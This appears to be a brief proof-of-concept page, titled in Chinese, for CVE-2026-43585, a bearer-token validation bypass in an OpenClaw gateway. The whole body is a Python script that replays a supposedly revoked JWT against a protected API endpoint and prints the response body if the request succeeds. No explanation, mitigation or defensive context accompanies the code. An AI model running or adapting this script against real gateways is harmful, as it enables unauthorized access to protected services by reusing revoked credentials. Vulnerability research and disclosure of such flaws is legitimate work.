CVE-2026-43585 OpenClaw Bearer Token验证绕过漏洞

import requests # Target configuration target_url = "http://vulnerable-openclaw-gateway:8080/api/v1/protected" # An old bearer token that should have been revoked after SecretRef rotation stale_bearer_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" headers = { "Authorization": f"Bearer {stale_bearer_token}", "Accept": "application/json" } try: print("[*] Attempting to access gateway with stale token...") response = requests.get(target_url, headers=headers, timeout=5) if response.status_code == 200: print("[+] Exploit successful! The stale token was accepted.") print(f"[+] Response body: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")